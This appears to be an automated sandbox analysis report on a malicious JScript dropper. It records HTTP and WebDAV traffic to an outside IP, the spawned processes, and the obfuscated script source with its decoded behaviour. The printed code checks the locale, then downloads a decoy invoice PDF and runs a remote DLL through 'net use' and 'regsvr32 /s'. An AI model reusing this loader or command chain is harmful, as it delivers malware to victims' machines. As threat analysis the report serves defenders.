Jan 10, 2025 21:29:41.944891930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:29:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:29:41.944920063 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:29:41.944933891 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:29:41.945050955 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 21:29:41.945064068 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 21:29:41.945106030 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 21:29:41.945122004 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 21:29:41.945144892 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 21:29:41.945161104 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 21:29:41.945177078 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 21:29:41.949780941 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2300	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:29:43.595969915 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:29:44.415513992 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:29:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:29:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js"
Imagebase:	0x7ff7c9a50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:29:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll
Imagebase:	0x7ff66ec50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:29:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:29:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:29:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:29:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66ec50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:29:42
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c8a60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:29:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:29:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:29:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1520,i,12609673938497949389,15073909671236922757,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uqnoulx() {	uqnoulx() ➔ undefined
1	xhsduvxe = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mirccoleo = this[lfyaehlam + kywrzqtec + pnaghev + gzbfuzth + bbphlj + lsypfgy + ytzhk + nmmcrzzb] ( this[rprsf + hsxqfz + qdtnm + pnaghev + nqymkh + lfyaehlam + nmmcrzzb][sticnvshn + pnaghev + bbphlj + kywrzqtec + nmmcrzzb + bbphlj + wjcumfws + pygyhtpk + widpv + bbphlj + qdtnm + nmmcrzzb] ( rprsf + hsxqfz + qdtnm + pnaghev + nqymkh + lfyaehlam + nmmcrzzb + vwkffjca + hsxqfz + xxdtpxqyy + bbphlj + popndn + popndn ) [wmdgvs + bbphlj + vghtqke + wmdgvs + bbphlj + kywrzqtec + kxagram] ( egxtb + almvmcc + uwaif + shflz + gjutw + sticnvshn + yghyltmqy + wmdgvs + wmdgvs + uwaif + cetqea + mlsctlkef + gjutw + yghyltmqy + hsxqfz + uwaif + wmdgvs + zbcddzrqp + sticnvshn + kmltxa + ytzhk + nmmcrzzb + pnaghev + kmltxa + popndn + fzpxwn + kytguprfy + kywrzqtec + ytzhk + bbphlj + popndn + zbcddzrqp + lsypfgy + ytzhk + nmmcrzzb + bbphlj + pnaghev + ytzhk + kywrzqtec + nmmcrzzb + nqymkh + kmltxa + ytzhk + kywrzqtec + popndn + zbcddzrqp + sqbjquys + kmltxa + qdtnm + kywrzqtec + popndn + bbphlj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pujejfh = 0 ; pujejfh < xhsduvxe[popndn + bbphlj + ytzhk + vghtqke + nmmcrzzb + xxdtpxqyy] ; ++ pujejfh )
4	{
5	if ( mirccoleo == xhsduvxe[pujejfh] )
6	{
7	mirccoleo = true;
8	break ;
9	}
10	}
11	if ( mirccoleo !== true )
12	this[rprsf + hsxqfz + qdtnm + pnaghev + nqymkh + lfyaehlam + nmmcrzzb][wckkwjl + mcmgqgd + nqymkh + nmmcrzzb] ( );
13	this[rprsf + hsxqfz + qdtnm + pnaghev + nqymkh + lfyaehlam + nmmcrzzb][sticnvshn + pnaghev + bbphlj + kywrzqtec + nmmcrzzb + bbphlj + wjcumfws + pygyhtpk + widpv + bbphlj + qdtnm + nmmcrzzb] ( rprsf + hsxqfz + qdtnm + pnaghev + nqymkh + lfyaehlam + nmmcrzzb + vwkffjca + hsxqfz + xxdtpxqyy + bbphlj + popndn + popndn ) [pnaghev + mcmgqgd + ytzhk] ( qdtnm + rwfqrd + kxagram + fzpxwn + mpugderqw + qdtnm + fzpxwn + lfyaehlam + kmltxa + ycbjqoo + bbphlj + pnaghev + gzbfuzth + xxdtpxqyy + bbphlj + popndn + popndn + vwkffjca + bbphlj + jwinxllz + bbphlj + fzpxwn + qknviu + sticnvshn + kmltxa + rwfqrd + rwfqrd + kywrzqtec + ytzhk + kxagram + fzpxwn + xjivfs + lsypfgy + ytzhk + ceilgqtk + kmltxa + jsxsfpjz + bbphlj + qknviu + rprsf + bbphlj + pygyhtpk + wmdgvs + bbphlj + synggowmh + mcmgqgd + bbphlj + gzbfuzth + nmmcrzzb + fzpxwn + qknviu + wjcumfws + mcmgqgd + nmmcrzzb + chaynl + nqymkh + popndn + bbphlj + fzpxwn + iyqnrozqp + nmmcrzzb + bbphlj + rwfqrd + lfyaehlam + iyqnrozqp + zbcddzrqp + nqymkh + ytzhk + ceilgqtk + kmltxa + nqymkh + qdtnm + bbphlj + vwkffjca + lfyaehlam + kxagram + iditczjfi + fzpxwn + xxdtpxqyy + nmmcrzzb + nmmcrzzb + lfyaehlam + smwrvx + mpugderqw + mpugderqw + zpeoikhy + jmkwd + fkqkmuvt + vwkffjca + zpeoikhy + vhuqv + fkqkmuvt + vwkffjca + zpeoikhy + vwkffjca + ikjhrotp + sbyeumo + iupfch + mpugderqw + nqymkh + ytzhk + ceilgqtk + kmltxa + nqymkh + qdtnm + bbphlj + vwkffjca + lfyaehlam + xxdtpxqyy + lfyaehlam + xjivfs + pvpsbjs + pvpsbjs + gzbfuzth + nmmcrzzb + kywrzqtec + pnaghev + nmmcrzzb + fzpxwn + iyqnrozqp + nmmcrzzb + bbphlj + rwfqrd + lfyaehlam + iyqnrozqp + zbcddzrqp + nqymkh + ytzhk + ceilgqtk + kmltxa + nqymkh + qdtnm + bbphlj + vwkffjca + lfyaehlam + kxagram + iditczjfi + pvpsbjs + pvpsbjs + qdtnm + rwfqrd + kxagram + fzpxwn + mpugderqw + qdtnm + fzpxwn + ytzhk + bbphlj + nmmcrzzb + fzpxwn + mcmgqgd + gzbfuzth + bbphlj + fzpxwn + zbcddzrqp + zbcddzrqp + zpeoikhy + jmkwd + fkqkmuvt + vwkffjca + zpeoikhy + vhuqv + fkqkmuvt + vwkffjca + zpeoikhy + vwkffjca + ikjhrotp + sbyeumo + iupfch + pdenzwh + bbtdi + bbtdi + bbtdi + bbtdi + zbcddzrqp + kxagram + kywrzqtec + ceilgqtk + ycbjqoo + ycbjqoo + ycbjqoo + pnaghev + kmltxa + kmltxa + nmmcrzzb + zbcddzrqp + pvpsbjs + pvpsbjs + qdtnm + rwfqrd + kxagram + fzpxwn + mpugderqw + qdtnm + fzpxwn + pnaghev + bbphlj + vghtqke + gzbfuzth + ceilgqtk + pnaghev + fkqkmuvt + ikjhrotp + fzpxwn + mpugderqw + gzbfuzth + fzpxwn + zbcddzrqp + zbcddzrqp + zpeoikhy + jmkwd + fkqkmuvt + vwkffjca + zpeoikhy + vhuqv + fkqkmuvt + vwkffjca + zpeoikhy + vwkffjca + ikjhrotp + sbyeumo + iupfch + pdenzwh + bbtdi + bbtdi + bbtdi + bbtdi + zbcddzrqp + kxagram + kywrzqtec + ceilgqtk + ycbjqoo + ycbjqoo + ycbjqoo + pnaghev + kmltxa + kmltxa + nmmcrzzb + zbcddzrqp + zpeoikhy + dhaugaoot + zpeoikhy + fkqkmuvt + ikjhrotp + ikjhrotp + yfsvgl + yfsvgl + vhuqv + jmkwd + zpeoikhy + sbyeumo + sbyeumo + sbyeumo + dhaugaoot + vwkffjca + kxagram + popndn + popndn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll",0,false) ➔ 0
14	}
15	lfyaehlam = "d";
16	lfyaehlam = "p";
17	lfyaehlam = "i";
18	lfyaehlam = "q";
19	lfyaehlam = "b";
20	lfyaehlam = "O";
21	lfyaehlam = "l";
22	lfyaehlam = "I";
23	lfyaehlam = "z";
24	lfyaehlam = "G";
25	lfyaehlam = "g";
26	lfyaehlam = "p";
27	sticnvshn = "R";
28	sticnvshn = "W";
29	sticnvshn = "u";
30	sticnvshn = "M";
31	sticnvshn = "S";
32	sticnvshn = "V";
33	sticnvshn = "k";
34	sticnvshn = "x";
35	sticnvshn = "s";
36	sticnvshn = "p";
37	sticnvshn = "q";
38	sticnvshn = "q";
39	sticnvshn = "V";
40	sticnvshn = "v";
41	sticnvshn = "A";
42	sticnvshn = "Y";
43	sticnvshn = "d";
44	sticnvshn = "B";
45	sticnvshn = "P";
46	sticnvshn = "y";
47	sticnvshn = "W";
48	sticnvshn = "p";
49	sticnvshn = "P";
50	sticnvshn = "k";
51	sticnvshn = "Y";
52	sticnvshn = "U";
53	sticnvshn = "H";
54	sticnvshn = "C";
55	sticnvshn = "e";
56	sticnvshn = "q";
57	sticnvshn = "T";
58	sticnvshn = "A";
59	sticnvshn = "s";
60	sticnvshn = "O";
61	sticnvshn = "Z";
62	sticnvshn = "p";
63	sticnvshn = "F";
64	sticnvshn = "Q";
65	sticnvshn = "J";
66	sticnvshn = "F";
67	sticnvshn = "P";
68	sticnvshn = "C";
69	shflz = "Y";
70	vhuqv = "R";
71	vhuqv = "f";
72	vhuqv = "g";
73	vhuqv = "H";
74	vhuqv = "v";
75	vhuqv = "x";
76	vhuqv = "T";
77	vhuqv = "H";
78	vhuqv = "P";
79	vhuqv = "m";
80	vhuqv = "q";
81	vhuqv = "z";
82	vhuqv = "W";
83	vhuqv = "m";
84	vhuqv = "Y";
85	vhuqv = "D";
86	vhuqv = "Y";
87	vhuqv = "b";
88	vhuqv = "q";
89	vhuqv = "C";
90	vhuqv = "r";
91	vhuqv = "U";
92	vhuqv = "f";
93	vhuqv = "4";
94	kmltxa = "C";
95	kmltxa = "u";
96	kmltxa = "J";
97	kmltxa = "s";
98	kmltxa = "g";
99	kmltxa = "n";
100	kmltxa = "R";
101	kmltxa = "L";
102	kmltxa = "d";
103	kmltxa = "U";
104	kmltxa = "w";
105	kmltxa = "a";
106	kmltxa = "G";
107	kmltxa = "D";
108	kmltxa = "c";
109	kmltxa = "T";
110	kmltxa = "G";
111	kmltxa = "H";
112	kmltxa = "V";
113	kmltxa = "j";
114	kmltxa = "l";
115	kmltxa = "g";
116	kmltxa = "c";
117	kmltxa = "r";
118	kmltxa = "s";
119	kmltxa = "N";
120	kmltxa = "P";
121	kmltxa = "G";
122	kmltxa = "Q";
123	kmltxa = "X";
124	kmltxa = "O";
125	kmltxa = "V";
126	kmltxa = "L";
127	kmltxa = "m";
128	kmltxa = "w";
129	kmltxa = "F";
130	kmltxa = "i";
131	kmltxa = "D";
132	kmltxa = "o";
133	yfsvgl = "u";
134	yfsvgl = "w";
135	yfsvgl = "I";
136	yfsvgl = "y";
137	yfsvgl = "c";
138	yfsvgl = "i";
139	yfsvgl = "h";
140	yfsvgl = "l";
141	yfsvgl = "g";
142	yfsvgl = "Q";
143	yfsvgl = "L";
144	yfsvgl = "a";
145	yfsvgl = "6";
146	nmmcrzzb = "G";
147	nmmcrzzb = "D";
148	nmmcrzzb = "f";
149	nmmcrzzb = "W";
150	nmmcrzzb = "M";
151	nmmcrzzb = "b";
152	nmmcrzzb = "L";
153	nmmcrzzb = "L";
154	nmmcrzzb = "s";
155	nmmcrzzb = "e";
156	nmmcrzzb = "e";
157	nmmcrzzb = "L";
158	nmmcrzzb = "s";
159	nmmcrzzb = "G";
160	nmmcrzzb = "W";
161	nmmcrzzb = "E";
162	nmmcrzzb = "X";
163	nmmcrzzb = "N";
164	nmmcrzzb = "o";
165	nmmcrzzb = "X";
166	nmmcrzzb = "X";
167	nmmcrzzb = "w";
168	nmmcrzzb = "l";
169	nmmcrzzb = "b";
170	nmmcrzzb = "M";
171	nmmcrzzb = "D";
172	nmmcrzzb = "k";
173	nmmcrzzb = "X";
174	nmmcrzzb = "N";
175	nmmcrzzb = "a";
176	nmmcrzzb = "D";
177	nmmcrzzb = "K";
178	nmmcrzzb = "x";
179	nmmcrzzb = "z";
180	nmmcrzzb = "J";
181	nmmcrzzb = "V";
182	nmmcrzzb = "G";
183	nmmcrzzb = "S";
184	nmmcrzzb = "a";
185	nmmcrzzb = "e";
186	nmmcrzzb = "O";
187	nmmcrzzb = "t";
188	qknviu = "t";
189	qknviu = "B";
190	qknviu = "n";
191	qknviu = "b";
192	qknviu = "P";
193	qknviu = "f";
194	qknviu = "O";
195	qknviu = "j";
196	qknviu = "z";
197	qknviu = "S";
198	qknviu = "w";
199	qknviu = "Q";
200	qknviu = "l";
201	qknviu = "D";
202	qknviu = "g";
203	qknviu = "J";
204	qknviu = "f";
205	qknviu = "W";
206	qknviu = "q";
207	qknviu = "d";
208	qknviu = "j";
209	qknviu = "K";
210	qknviu = "D";
211	qknviu = "Q";
212	qknviu = "-";
213	yghyltmqy = "U";
214	jsxsfpjz = "C";
215	jsxsfpjz = "v";
216	jsxsfpjz = "K";
217	jsxsfpjz = "V";
218	jsxsfpjz = "N";
219	jsxsfpjz = "S";
220	jsxsfpjz = "U";
221	jsxsfpjz = "U";
222	jsxsfpjz = "u";
223	jsxsfpjz = "q";
224	jsxsfpjz = "g";
225	jsxsfpjz = "S";
226	jsxsfpjz = "q";
227	jsxsfpjz = "N";
228	jsxsfpjz = "p";
229	jsxsfpjz = "A";
230	jsxsfpjz = "c";
231	jsxsfpjz = "R";
232	jsxsfpjz = "k";
233	widpv = "j";
234	widpv = "k";
235	widpv = "c";
236	widpv = "M";
237	widpv = "A";
238	widpv = "J";
239	widpv = "f";
240	widpv = "z";
241	widpv = "r";
242	widpv = "D";
243	widpv = "G";
244	widpv = "r";
245	widpv = "z";
246	widpv = "a";
247	widpv = "j";
248	pdenzwh = "h";
249	pdenzwh = "P";
250	pdenzwh = "t";
251	pdenzwh = "X";
252	pdenzwh = "o";
253	pdenzwh = "w";
254	pdenzwh = "o";
255	pdenzwh = "Q";
256	pdenzwh = "W";
257	pdenzwh = "g";
258	pdenzwh = "x";
259	pdenzwh = "N";
260	pdenzwh = "d";
261	pdenzwh = "K";
262	pdenzwh = "O";
263	pdenzwh = "Z";
264	pdenzwh = "D";
265	pdenzwh = "U";
266	pdenzwh = "u";
267	pdenzwh = "v";
268	pdenzwh = "g";
269	pdenzwh = "X";
270	pdenzwh = "K";
271	pdenzwh = "F";
272	pdenzwh = "@";
273	ceilgqtk = "b";
274	ceilgqtk = "l";
275	ceilgqtk = "v";
276	zpeoikhy = "S";
277	zpeoikhy = "i";
278	zpeoikhy = "z";
279	zpeoikhy = "z";
280	zpeoikhy = "h";
281	zpeoikhy = "c";
282	zpeoikhy = "G";
283	zpeoikhy = "o";
284	zpeoikhy = "1";
285	uwaif = "k";
286	uwaif = "n";
287	uwaif = "x";
288	uwaif = "q";
